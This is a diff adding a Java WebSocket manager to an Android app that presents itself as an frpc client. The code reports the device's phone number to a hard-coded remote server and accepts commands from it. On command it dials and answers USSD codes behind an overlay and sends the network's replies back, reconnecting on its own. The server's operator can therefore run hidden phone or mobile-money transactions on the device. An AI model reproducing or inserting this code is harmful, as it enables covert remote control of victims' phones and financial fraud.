|
@@ -0,0 +1,216 @@
|
|
|
+package com.car.frpc_android.util;
|
|
|
+
|
|
|
+import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
|
|
|
+
|
|
|
+import android.content.Intent;
|
|
|
+import android.os.Handler;
|
|
|
+import android.util.Log;
|
|
|
+
|
|
|
+import com.alibaba.fastjson.JSON;
|
|
|
+import com.alibaba.fastjson.JSONObject;
|
|
|
+import com.blankj.utilcode.util.GsonUtils;
|
|
|
+import com.blankj.utilcode.util.StringUtils;
|
|
|
+import com.blankj.utilcode.util.ThreadUtils;
|
|
|
+import com.blankj.utilcode.util.ToastUtils;
|
|
|
+import com.blankj.utilcode.util.Utils;
|
|
|
+import com.car.frpc_android.Config;
|
|
|
+import com.car.frpc_android.R;
|
|
|
+import com.car.frpc_android.ui.MainActivity;
|
|
|
+import com.jeremyliao.liveeventbus.LiveEventBus;
|
|
|
+import com.romellfudi.ussdlibrary.OverlayShowingService;
|
|
|
+import com.romellfudi.ussdlibrary.USSDApi;
|
|
|
+import com.romellfudi.ussdlibrary.USSDController;
|
|
|
+
|
|
|
+import java.util.HashMap;
|
|
|
+import java.util.concurrent.Executors;
|
|
|
+import java.util.concurrent.ScheduledExecutorService;
|
|
|
+import java.util.concurrent.ScheduledFuture;
|
|
|
+import java.util.concurrent.TimeUnit;
|
|
|
+
|
|
|
+import okhttp3.OkHttpClient;
|
|
|
+import okhttp3.Request;
|
|
|
+import okhttp3.Response;
|
|
|
+import okhttp3.WebSocket;
|
|
|
+import okhttp3.WebSocketListener;
|
|
|
+
|
|
|
+/**
|
|
|
+ * author: hx
|
|
|
+ * created on: 2023/10/16 23:38
|
|
|
+ * description:
|
|
|
+ */
|
|
|
+public final class WebSocketManager {
|
|
|
+ private static WebSocketListener webSocketListener;
|
|
|
+ private static OkHttpClient client;
|
|
|
+ private static WebSocket webSocket;
|
|
|
+ private static Request request;
|
|
|
+ private static ScheduledFuture<?> reconnectTask;
|
|
|
+ private static ScheduledExecutorService executorService;
|
|
|
+ private static Intent svc = null;
|
|
|
+ private static USSDApi ussdApi;
|
|
|
+ private static boolean isConnecting = false;
|
|
|
+ private static final int NORMAL_CLOSURE_STATUS = 1000;
|
|
|
+ private static final long RECONNECT_DELAY_MS = 1000; // 重连延迟时间
|
|
|
+
|
|
|
+
|
|
|
+ public static WebSocket connectWebSocket() {
|
|
|
+ ussdApi = USSDController.getInstance(Utils.getApp());
|
|
|
+ client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
|
|
|
+ String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
|
|
|
+ request = new Request.Builder().url(Url).build();
|
|
|
+ webSocketListener = new WebSocketListener() {
|
|
|
+ @Override
|
|
|
+ public void onOpen(WebSocket webSocket, Response response) {
|
|
|
+ super.onOpen(webSocket, response);
|
|
|
+ Log.i(Config.LOG_TAG, "WebSocket open.");
|
|
|
+ isConnecting = true;
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket open.");
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onMessage(WebSocket webSocket, String text) {
|
|
|
+ super.onMessage(webSocket, text);
|
|
|
+ Log.i(Config.LOG_TAG, "WebSocket get a Message: " + text);
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket message.");
|
|
|
+ //收到消息
|
|
|
+ JSONObject json = JSON.parseObject(text);
|
|
|
+ String command = json.getString("command");
|
|
|
+ String requestId = json.getString("request_id");
|
|
|
+ String ussdCode = json.getString("value");
|
|
|
+ switch (command) {
|
|
|
+ //发起ussd拨号
|
|
|
+ case "invoke":
|
|
|
+ ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
|
|
|
+ break;
|
|
|
+ //发送ussd信息
|
|
|
+ case "send":
|
|
|
+ ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
|
|
|
+ break;
|
|
|
+ //撤销ussd拨号
|
|
|
+ case "cancel":
|
|
|
+ ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
|
|
|
+ break;
|
|
|
+
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onClosing(WebSocket webSocket, int code, String reason) {
|
|
|
+ super.onClosing(webSocket, code, reason);
|
|
|
+ webSocket.close(code, reason);
|
|
|
+ Log.i(Config.LOG_TAG, "WebSocket closing.");
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closing.[" + reason + "]");
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onClosed(WebSocket webSocket, int code, String reason) {
|
|
|
+ super.onClosed(webSocket, code, reason);
|
|
|
+ isConnecting = false;
|
|
|
+ reconnectWebSocket();
|
|
|
+ Log.i(Config.LOG_TAG, "WebSocket closed. code = " + code + ",reason = " + reason);
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closed.[" + reason + "]");
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onFailure(WebSocket webSocket, Throwable t, Response response) {
|
|
|
+ super.onFailure(webSocket, t, response);
|
|
|
+ isConnecting = false;
|
|
|
+ reconnectWebSocket();
|
|
|
+ Log.e(Config.LOG_TAG, "WebSocket failure.", t);
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket failure.[" + t.getMessage() + "]");
|
|
|
+ }
|
|
|
+ };
|
|
|
+ webSocket = client.newWebSocket(request, webSocketListener);
|
|
|
+ return webSocket;
|
|
|
+ }
|
|
|
+
|
|
|
+ private static void reconnectWebSocket() {
|
|
|
+ if (reconnectTask != null && !reconnectTask.isDone()) {
|
|
|
+ reconnectTask.cancel(true);
|
|
|
+ }
|
|
|
+ executorService = Executors.newSingleThreadScheduledExecutor();
|
|
|
+ reconnectTask = executorService.schedule(() -> connectWebSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
|
|
|
+ }
|
|
|
+
|
|
|
+ private static void callOverlay(String ussd, String request_id) {
|
|
|
+ if (USSDController.verifyOverLay(Utils.getApp())) {
|
|
|
+ if (null != svc) {
|
|
|
+ Utils.getApp().stopService(svc);
|
|
|
+ }
|
|
|
+ svc = new Intent(Utils.getApp(), OverlayShowingService.class);
|
|
|
+ svc.putExtra(OverlayShowingService.EXTRA, StringUtils.getString(R.string.action_ussd_msg));
|
|
|
+ pendingServiceIntent(svc);
|
|
|
+
|
|
|
+ ussdApi.callUSSDOverlayInvoke(ussd, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
|
|
|
+ @Override
|
|
|
+ public void responseInvoke(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "response", message);
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void over(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "over", message);
|
|
|
+ Utils.getApp().stopService(svc);
|
|
|
+ }
|
|
|
+ });
|
|
|
+ } else {
|
|
|
+ sendWebSocketMsg(request_id, "exception", "!USSDController.verifyOverLay");
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ private static void pendingServiceIntent(Intent overlayService) {
|
|
|
+ Utils.getApp().startService(overlayService);
|
|
|
+ new Handler().postDelayed(() -> Utils.getApp().stopService(overlayService), 5 * 60000);
|
|
|
+ }
|
|
|
+
|
|
|
+ private static void sendUssd(String request_id, String msg) {
|
|
|
+ try {
|
|
|
+ ussdApi.send(msg, new USSDController.CallbackMessage() {
|
|
|
+ @Override
|
|
|
+ public void responseMessage(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "response", message);
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void over(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "over", message);
|
|
|
+ if (null != svc)
|
|
|
+ Utils.getApp().stopService(svc);
|
|
|
+ }
|
|
|
+ });
|
|
|
+ } catch (Exception e) {
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private static void sendWebSocketMsg(String request_id, String return_type, String message) {
|
|
|
+ HashMap map = new HashMap();
|
|
|
+ map.put("request_id", request_id);
|
|
|
+ map.put("return_type", return_type);
|
|
|
+ map.put("message", message);
|
|
|
+ webSocket.send(GsonUtils.toJson(map));
|
|
|
+ }
|
|
|
+
|
|
|
+ private static void cancelUssd(String request_id) {
|
|
|
+ try {
|
|
|
+ ussdApi.cancel();
|
|
|
+ sendWebSocketMsg(request_id, "cancel", "cancel");
|
|
|
+ } catch (Exception e) {
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ private static void closeWebSocket() {
|
|
|
+ try {
|
|
|
+ if (webSocket != null) {
|
|
|
+ webSocket.close(NORMAL_CLOSURE_STATUS, "WebSocket,Goodbye!");
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+}
|